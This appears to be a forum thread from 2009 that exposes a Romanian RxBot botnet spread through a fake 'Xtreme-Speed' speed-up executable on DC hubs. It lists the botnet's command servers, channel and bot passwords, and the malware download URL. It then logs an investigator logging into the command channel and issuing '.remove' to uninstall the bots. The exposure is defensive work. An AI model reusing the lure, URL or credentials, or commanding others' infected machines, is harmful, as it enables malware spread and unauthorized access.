[2009-06-08 15:05:51] <IronRobot>  I have compiled and saved dext I sent to max, then the next day I reinstalled system and disappeared from me no longer now .. think il higher max and his friends
[2009-06-08 15:06:29] <DrEinstein> Only Max ?
...
[2009-06-08 15:06:58] <IronRobot> yes
[2009-06-08 15:07:28] <IronRobot> to me he reached

Sylvestre = IronRobot.

Now I also know who compiled it, those lamers probably didn't manage to do it themselves. :-)
 Vektor

  2009-06-09
  19:52:07
 
Quote
max.home.ltd.pl wrote:
[19:07] <MaX_Mafîo†µ> !guests Vrei sa tragi super repede dupa Internet ? Foloseste Programu` Xtreme-Speed ~! adresa : http://79.112.133.135:81/extreme_speed.exe
[19:07] <VerliHub>

...

• International Dc Hub List  : http://www.oDcHubList.ro/ •  
[19:06] Private message from VerliHub: <VerliHub>  MaX_Mafîo†µ : Vrei sa tragi super repede dupa Internet ? Foloseste Programu` Xtreme-Speed ~! adresa : http://79.112.133.135:81/extreme_speed.exe

dc.underground-network.ro wrote:
[18:52] <HkEcstasy>


Vrei sa tragi super repede dupa Internet ? Foloseste Programu` Xtreme-Speed ~! adresa : http://79.112.133.135:81/extreme_speed.exe


RxBot settings:
  • Server address: server-max.us.to:65445 (79.112.136.101)
  • Server password: maxbot002
  • Channel: #00maxbot00
  • Channel password: maxbot003
  • Bots have this prefix: [X]-*
  • Login password for bots: maxbot001
  • Local path to rxbot project: D:\---- ][ Kituri\---- ][ Hack\Botnet Mircc !!!!\Rxbot 7.6\Debug\rBot.pdb


server-max.us.to:65445/#00maxbot00 wrote:
[2009-06-09 13:29] *** Connected
[2009-06-09 13:29] *** Joins: Lithium
[2009-06-09 13:29] *** Joins: [X]-780850
[2009-06-09 13:29] *** Looking up your hostname
[2009-06-09 13:29] *** Checking Ident
[2009-06-09 13:29] *** Couldn't look up your hostname
[2009-06-09 13:30] *** No ident response
[2009-06-09 13:30] <my.server.name> Welcome to the Internet Relay Network [X]-780850
Your host is my.server.name, running version beware1.5.7
This server was created Tue Jul 13 2004 at 20:36:07 GMT
my.server.name beware1.5.7 dgikoswx biklmnoprstv
MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 M
[2009-06-09 13:30] AXBANS=45 :are supported by this server
[2009-06-09 13:30] <my.server.name> NICKLEN=20 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server
There are 8 users and 0 invisible on 1 servers
1 :channels formed
I have 8 clients and 0 servers
[2009-06-09 13:30] *** [X]-780850 Highest connection count: 9 (9 clients)
[2009-06-09 13:30] <my.server.name> MOTD File is missing
[2009-06-09 13:30] *** [X]-780850 on 1 ca 1(4) ft 10(10)
[2009-06-09 13:30] <my.server.name> Unknown MODE flag
[2009-06-09 13:30] *** Joins: [X]-770029
[2009-06-09 13:30] *** Joins: [X]-888505
[2009-06-09 13:30] *** Joins: [X]-593843
[2009-06-09 13:30] *** Joins: [X]-710036
[2009-06-09 13:30] *** Joins: [X]-526608
[2009-06-09 13:30] *** Joins: [X]-025158
[2009-06-09 13:30] *** Joins: [X]-412057
[2009-06-09 13:30] *** Parts: [X]-710036
[2009-06-09 13:31] <Lithium> .login maxbot001
[2009-06-09 13:31] <Lithium> .remove
[2009-06-09 13:31] <[X]-025158> [MAIN]: Password accepted.
[2009-06-09 13:31] <[X]-770029> [MAIN]: Password accepted.
[2009-06-09 13:31] <[X]-888505> [MAIN]: Password accepted.
[2009-06-09 13:31] <[X]-412057> [MAIN]: Password accepted.
[2009-06-09 13:31] <[X]-593843> [MAIN]: Password accepted.
[2009-06-09 13:31] <[X]-526608> [MAIN]: Password accepted.
[2009-06-09 13:31] <[X]-888505> [MAIN]: Removing Bot.
[2009-06-09 13:31] <[X]-025158> [MAIN]: Removing Bot.
[2009-06-09 13:31] <[X]-770029> [MAIN]: Removing Bot.
[2009-06-09 13:31] <[X]-412057> [MAIN]: Removing Bot.
[2009-06-09 13:31] <[X]-593843> [MAIN]: Removing Bot.
[2009-06-09 13:31] <[X]-526608> [MAIN]: Removing Bot.
[2009-06-09 13:31] *** Parts: [X]-888505
[2009-06-09 13:31] *** Parts: [X]-025158
[2009-06-09 13:31] *** Parts: [X]-770029
[2009-06-09 13:31] *** Parts: [X]-412057
[2009-06-09 13:31] *** Parts: [X]-593843
[2009-06-09 13:31] *** Parts: [X]-526608
[2009-06-09 13:31] *** Disconnected


server-max.us.to:65445/#00maxbot00 wrote:
[2009-06-09 13:32] *** Connected
[2009-06-09 13:32] *** Joins: Lithium
[2009-06-09 13:32] *** Joins: [X]-080134
[2009-06-09 13:32] *** Looking up your hostname
[2009-06-09 13:32] *** Checking Ident
[2009-06-09 13:32] *** Couldn't look up your hostname
[2009-06-09 13:32] *** No ident response
[2009-06-09 13:32] <my.server.name> Welcome to the Internet Relay Network [X]-080134
Your host is my.server.name, running version beware1.5.7
This server was created Tue Jul 13 2004 at 20:36:07 GMT
my.server.name beware1.5.7 dgikoswx biklmnoprstv
MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 M
[2009-06-09 13:32] AXBANS=45 :are supported by this server
[2009-06-09 13:32] <my.server.name> NICKLEN=20 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server
There are 2 users and 0 invisible on 1 servers
1 :channels formed
I have 2 clients and 0 servers
[2009-06-09 13:32] *** [X]-080134 Highest connection count: 2 (2 clients)
[2009-06-09 13:32] <my.server.name> MOTD File is missing
[2009-06-09 13:32] *** [X]-080134 on 1 ca 1(4) ft 10(10)
[2009-06-09 13:32] <my.server.name> Unknown MODE flag
[2009-06-09 13:32] <my.server.name>
Max hack-elite * :~dwqrwdas
@#00maxbot00
my.server.name :I'm too lazy to edit ircd.conf
33 1244543090 :seconds idle, signon time
End of /WHOIS list.
[2009-06-09 13:33] <Max_Mafiotu> .login maxbot001
[2009-06-09 13:34] <Max_Mafiotu> .
[2009-06-09 13:34] <Max_Mafiotu> .
[2009-06-09 13:34] <Max_Mafiotu> .login maxbot001
[2009-06-09 13:34] <Max_Mafiotu> .logout
[2009-06-09 13:34] *** Disconnected


server-max.us.to:65445/#00maxbot00 wrote:
[2009-06-09 13:32][2009-06-09 16:48] *** Connected
[2009-06-09 16:48] *** Looking up your hostname
[2009-06-09 16:48] *** Checking Ident
[2009-06-09 16:48] *** Couldn't look up your hostname
[2009-06-09 16:48] *** Joins: Lithium
[2009-06-09 16:48] *** Joins: [X]-889549
[2009-06-09 16:48] *** No ident response
[2009-06-09 16:48] <my.server.name> Welcome to the Internet Relay Network [X]-889549
Your host is my.server.name, running version beware1.5.7
This server was created Tue Jul 13 2004 at 20:36:07 GMT
my.server.name beware1.5.7 dgikoswx biklmnoprstv
MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 M
[2009-06-09 16:48] AXBANS=45 :are supported by this server
[2009-06-09 16:48] <my.server.name> NICKLEN=20 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server
There are 2 users and 0 invisible on 1 servers
1 :channels formed
I have 2 clients and 0 servers
[2009-06-09 16:48] *** [X]-889549 Highest connection count: 2 (2 clients)
[2009-06-09 16:48] <my.server.name> MOTD File is missing
[2009-06-09 16:48] *** [X]-889549 on 1 ca 1(4) ft 10(10)
[2009-06-09 16:48] <my.server.name> Unknown MODE flag
[2009-06-09 16:51] *** Parts: [X]-460773
[2009-06-09 16:53] *** Joins: [X]-861938
[2009-06-09 16:56] Private message from [X]-861938: <[X]-861938> [MAIN]: Password accepted.
[2009-06-09 16:56] Private message from [X]-861938: <[X]-861938> [MAIN]: Removing Bot.
[2009-06-09 16:56] *** Parts: [X]-861938
[2009-06-09 16:57] *** Joins: [X]-110424
[2009-06-09 17:00] Private message from [X]-110424: <[X]-110424> [MAIN]: Password accepted.
[2009-06-09 17:00] Private message from [X]-110424: <[X]-110424> [MAIN]: Removing Bot.
[2009-06-09 17:00] *** Parts: [X]-110424
[2009-06-09 17:02] *** Joins: [X]-195430
[2009-06-09 17:03] Private message from [X]-195430: <[X]-195430> [MAIN]: Password accepted.
[2009-06-09 17:03] Private message from [X]-195430: <[X]-195430> [MAIN]: Removing Bot.
[2009-06-09 17:03] <my.server.name> Channel :Users  Name
#00maxbot00 1 :
End of /LIST
[2009-06-09 17:03] *** Parts: [X]-195430
[2009-06-09 17:12] *** Joins: Max_Mafiotu
[2009-06-09 17:12] <Max_Mafiotu> .login maxbot001
[2009-06-09 17:32] *** Joins: [X]-628710
[2009-06-09 17:39] <Max_Mafiotu> .login maxbot001
[2009-06-09 17:39] <[X]-628710> [MAIN]: Password accepted.
[2009-06-09 18:06] *** Parts: [X]-628710
[2009-06-09 18:06] *** Disconnected


server-max.us.to:65445/#00maxbot00 wrote:
[20:57] *** Connected
[20:57] *** Join/part showing on
[20:57] *** Looking up your hostname
[20:57] *** Checking Ident
[20:57] *** Found your hostname
[20:57] *** No ident response
[20:57] <my.server.name> Welcome to the Internet Relay Network [X]-523050
Your host is my.server.name, running version beware1.5.7
This server was created Tue Jul 13 2004 at 20:36:07 GMT
my.server.name beware1.5.7 dgikoswx biklmnoprstv
MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 M
[20:57] AXBANS=45 :are supported by this server
[20:57] <my.server.name> NICKLEN=20 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server
There are 5 users and 0 invisible on 1 servers
1 :channels formed
I have 5 clients and 0 servers
[20:57] *** [X]-523050 Highest connection count: 5 (5 clients)
[20:57] <my.server.name> MOTD File is missing
[20:57] *** [X]-523050 on 1 ca 1(4) ft 10(10)
[20:57] <my.server.name> Unknown MODE flag
[20:57] *** Joins: [X]-896467
[20:57] *** Joins: [X]-253078
[20:57] *** Joins: [X]-331168
[20:57] *** Joins: Max_Mafiotu
[20:58] Private message from [X]-331168: <[X]-331168> [MAIN]: Password accepted.
[20:58] Private message from [X]-331168: <[X]-331168> [MAIN]: Removing Bot.
[20:58] Private message from [X]-896467: <[X]-896467> [MAIN]: Password accepted.
[20:58] Private message from [X]-253078: <[X]-253078> [MAIN]: Password accepted.
[20:58] Private message from [X]-253078: <[X]-253078> [MAIN]: Removing Bot.
[20:58] Private message from [X]-896467: <[X]-896467> [MAIN]: Removing Bot.
[20:58] *** Parts: [X]-331168
[20:58] *** Parts: [X]-253078
[20:58] *** Parts: [X]-896467
[21:00] <my.server.name> Channel :Users  Name
#00maxbot00 2 :
End of /LIST
[21:03] <Max_Mafiotu> .login maxbot001
[21:13] *** Joins: [X]-587493
[21:14] *** Parts: [X]-587493
[21:15] *** Joins: [X]-583794
[21:16] *** Joins: DrEinstein
[21:16] <DrEinstein> Good day
[21:17] *** Joins: [X]-105675
[21:18] Private message from [X]-105675: <[X]-105675> [MAIN]: Password accepted.
[21:18] Private message from [X]-105675: <[X]-105675> [MAIN]: Removing Bot.
[21:18] *** Parts: [X]-105675
[21:18] <DrEinstein> Max, are you around?
[21:19] <DrEinstein> I would like to show you some logs
[21:19] *** Parts: [X]-583794
[21:19] *** Joins: [X]-503466
[21:20] <[X]-523050> yes he is
[21:20] <[X]-523050> [21:03] <Max_Mafiotu> .login maxbot001
[21:21] <[X]-523050> :)
[21:21] <DrEinstein> Oh, nice :-)
[21:23] <[X]-523050> my answer to that would be...
[21:23] <[X]-523050> [MAIN]: Invalid password.
[21:23] <Max_Mafiotu> ?
[21:23] *** Disconnected


server-max.us.to:65445/#00maxbot00 wrote:
[21:24] *** Connecting to server-max.us.to:65445...
[21:24] *** Connection refused by target machine
 Vektor

  2009-07-03
  20:25:34
 
Quote
Another xTrEmE_speEd.exe is being spammed on DC hubs, again, by Max_Mafitu lamer,

  • Server address: max.secure.la:9872 (79.112.134.229)
  • Server password: hehackmax21
  • Channel: ##HeBoTNeT##
  • Channel password: hackmax09
  • Bots have this prefix: n-*
  • Login password for bots: hehackmax21
  • Local path to rxbot project: D:\---- ][ Kituri\---- ][ Hack\Botnet Mircc !!!!\Rxbot 7.6\


max.secure.la:9872 wrote:
[22:08] *** Connected
[22:08] *** Looking up your hostname
[22:08] *** Found your hostname, cached
[22:08] *** Checking Ident
[22:08] *** Join/part showing on
[22:08] *** No ident response
[22:08] <my.server.name> Welcome to the Internet Relay Network n-116307
Your host is my.server.name, running version beware1.5.7
This server was created Tue Jul 13 2004 at 20:36:07 GMT
my.server.name beware1.5.7 dgikoswx biklmnoprstv
MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :a
[22:08] re supported by this server
[22:08] <my.server.name> NICKLEN=20 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server
There are 6 users and 0 invisible on 1 servers
1 :channels formed
I have 6 clients and 0 servers
[22:08] *** n-116307 Highest connection count: 19 (19 clients)
[22:08] <my.server.name> MOTD File is missing
[22:08] *** n-116307 on 1 ca 1(4) ft 10(10) tr
[22:08] <my.server.name> Unknown MODE flag
[22:08] *** Joins: n-290627
[22:08] *** Joins: n-216521
[22:08] *** Joins: n-958010
[22:08] *** Joins: n-749486
[22:10] <Lithium> .login hehackmax21
[22:10] <n-958010> [MAIN]: Password accepted.
[22:10] <n-749486> [MAIN]: Password accepted.
[22:10] <n-216521> [MAIN]: Password accepted.
[22:10] <Lithium> .remove
[22:10] <n-958010> [MAIN]: Removing Bot.
[22:10] <n-290627> [MAIN]: Removing Bot.
[22:10] <n-216521> [MAIN]: Removing Bot.
[22:10] <n-749486> [MAIN]: Removing Bot.
[22:10] *** Parts: n-958010
[22:10] *** Parts: n-290627
[22:10] *** Parts: n-216521
[22:10] *** Parts: n-749486